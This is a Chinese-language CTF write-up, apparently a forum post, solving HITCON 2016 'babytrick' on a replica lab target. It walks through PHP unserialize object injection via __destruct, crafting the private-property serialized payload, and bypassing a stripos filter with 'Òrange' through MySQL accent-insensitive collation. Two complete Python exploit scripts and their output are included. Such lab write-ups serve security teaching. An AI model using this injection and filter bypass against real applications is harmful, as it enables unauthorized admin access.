-
-
[原创]hitcon-2016-babytrick 解题报告
-
发表于: 7小时前 102
-
1.题目概述
目标地址:
http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/
题目是 HITCON 2016 babytrick 的复现靶场,核心考点:
PHP 反序列化控制对象属性
__destruct() 自动调用
MySQL UTF-8 排序规则字符等价
PHP 字符串检测与 MySQL 字符比较差异
最终 flag:
flag{443a0802-d43d-459e-a419-130b9a80f93b}
2.访问源码
首页直接高亮源码:
curl "1edK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."
关键入口:
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}
也就是说,data 参数会被直接反序列化。
3.HITCON 类逻辑分析
类里有 3 个 private 属性:
private $method;
private $args;
private $conn;
析构函数:
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
利用思路:
构造一个 HITCON 对象,让:
method = login
args[0] = 用户名
args[1] = 密码
conn = NULL
对象生命周期结束时会自动触发 __destruct(),进而调用:
$this->login($args[0], $args[1]);
4.private 属性序列化格式
PHP 序列化 private 属性时,属性名不是普通字符串,而是:
\x00类名\x00属性名
所以:
private $method;
序列化属性名应为:
\x00HITCON\x00method
完整字段写法:
s:14:"\x00HITCON\x00method";
长度为什么是 14?
\x00 1 byte
HITCON 6 bytes
\x00 1 byte
method 6 bytes
------------------
total 14 bytes
同理:
\x00HITCON\x00args -> 12 bytes
\x00HITCON\x00conn -> 12 bytes
5.初始化数据库
题目原始配置中 DEBUG 开关为:
$DEBUG = @$_GET['noggnogg'];
当带上:
?noggnogg=1
会执行建表和插入测试数据:
INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')
初始化命令:
curl "849K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1k6Q4x3@1k6F1L8$3N6Y4L8X3!0Y4k6#2)9K6c8o6p5`."
6.写一个序列化构造器
保存为:
solve_babytrick_min.py
内容:
import urllib.parse
import urllib.request
TARGET = "590K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."
Z = b"\x00"
def ser_str(x):
b = x if isinstance(x, bytes) else str(x).encode("utf-8")
return b's:%d:"%s";' % (len(b), b)
def ser_arr(args):
out = b'a:%d:{' % len(args)
for i, arg in enumerate(args):
out += b'i:%d;' % i
out += ser_str(arg)
out += b'}'
return out
def hitcon(method, args):
method_b = method.encode()
payload = (
b'O:6:"HITCON":3:{'
b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
b'}'
)
return payload
def request(payload=None, extra_query=None):
if payload is None:
url = TARGET
if extra_query:
url += "?" + extra_query
else:
data = urllib.parse.quote_from_bytes(payload, safe="")
if extra_query:
url = TARGET + "?" + extra_query + "&data=" + data
else:
url = TARGET + "?data=" + data
return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")
# 初始化数据库
request(extra_query="noggnogg=1")
# 验证 show
print(request(hitcon("show", ["phddaa"])))
print(request(hitcon("show", ["orange"])))
运行:
$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py
预期输出:
{"msg":"phddaa is user"}
{"msg":"orange is admin"}
说明数据库初始化成功。
7.login 过滤逻辑
login() 里有关键过滤:
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
直接登录:
username = orange
password = babytrick1234
会被拦截。
因为 SQL 中一定包含:
username='orange'
触发:
stripos($sql, 'orange') != false
8.绕过思路:PHP 与 MySQL 字符比较差异
使用:
Òrange
替代:
orange
原因:
PHP 层
PHP 的:stripos($sql, 'orange')不会把:Òrange识别成:orange
所以不会触发过滤。
MySQL 层
MySQL 的 UTF-8 默认排序规则通常是大小写不敏感、重音不敏感的比较规则。
所以:
username='Òrange'
可以匹配数据库里的:
orange
这就是本题的关键。
9.验证字符等价
添加测试代码:
for name in ["orange", "Òrange", "Órange", "Örange"]:
print(name, request(hitcon("show", [name])))
运行结果中可以看到:
orange -> orange is admin
Òrange -> orange is admin
说明 Òrange 在 MySQL 查询中成功匹配了 orange。
10. 获取密码
原题公开配置中:
$db_pass = 'babytrick1234';
数据库初始化时插入:
('orange', '$db_pass', 'admin')
所以 admin 用户密码为:
babytrick1234
11.构造最终 payload
登录参数:
method = login
args[0] = Òrange
args[1] = babytrick1234
conn = NULL
未 URL 编码前的 payload 结构:
O:6:"HITCON":3:{
s:14:"\x00HITCON\x00method";s:5:"login";
s:12:"\x00HITCON\x00args";a:2:{
i:0;s:7:"Òrange";
i:1;s:13:"babytrick1234";
}
s:12:"\x00HITCON\x00conn";N;
}
注意:
Òrange
UTF-8 字节长度是 7,不是 6。
12.最终可复现脚本
import urllib.parse
import urllib.request
TARGET = "959K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."
Z = b"\x00"
def ser_str(x):
b = x if isinstance(x, bytes) else str(x).encode("utf-8")
return b's:%d:"%s";' % (len(b), b)
def ser_arr(args):
out = b'a:%d:{' % len(args)
for i, arg in enumerate(args):
out += b'i:%d;' % i
out += ser_str(arg)
out += b'}'
return out
def hitcon(method, args):
method_b = method.encode()
payload = (
b'O:6:"HITCON":3:{'
b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
b'}'
)
return payload
def request(payload=None, extra_query=None):
if payload is None:
url = TARGET
if extra_query:
url += "?" + extra_query
else:
data = urllib.parse.quote_from_bytes(payload, safe="")
if extra_query:
url = TARGET + "?" + extra_query + "&data=" + data
else:
url = TARGET + "?data=" + data
return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")
# 1. 初始化数据库
request(extra_query="noggnogg=1")
# 2. 验证普通用户
print("[show phddaa]")
print(request(hitcon("show", ["phddaa"])))
# 3. 验证 admin 用户存在
print("[show orange]")
print(request(hitcon("show", ["orange"])))
# 4. 使用 Òrange 绕过 PHP orange 检测
print("[show Òrange]")
print(request(hitcon("show", ["Òrange"])))
# 5. 最终登录拿 flag
print("[login]")
print(request(hitcon("login", ["Òrange", "babytrick1234"])))
运行:
$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py
输出:
[show phddaa]
{"msg":"phddaa is user"}
[show orange]
{"msg":"orange is admin"}
[show Òrange]
{"msg":"orange is admin"}
[login]
{"msg":"Hi, Orange! Here is your flag: flag{443a0802-d43d-459e-a419-130b9a80f93b}"}
13.解题链总结
完整链路:
源码泄露
↓
发现 data 参数 unserialize()
↓
构造 HITCON 对象
↓
控制 private 属性 method / args / conn
↓
通过 __destruct() 调用 login()
↓
DEBUG 参数 noggnogg 初始化数据库
↓
确认 orange 是 admin
↓
利用 Òrange 绕过 PHP stripos('orange')
↓
MySQL UTF-8 排序规则把 Òrange 匹配到 orange
↓
使用 babytrick1234 登录
↓
获得 flag
最终:
flag{443a0802-d43d-459e-a419-130b9a80f93b}
[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
赞赏
他的文章
赞赏
雪币:
留言: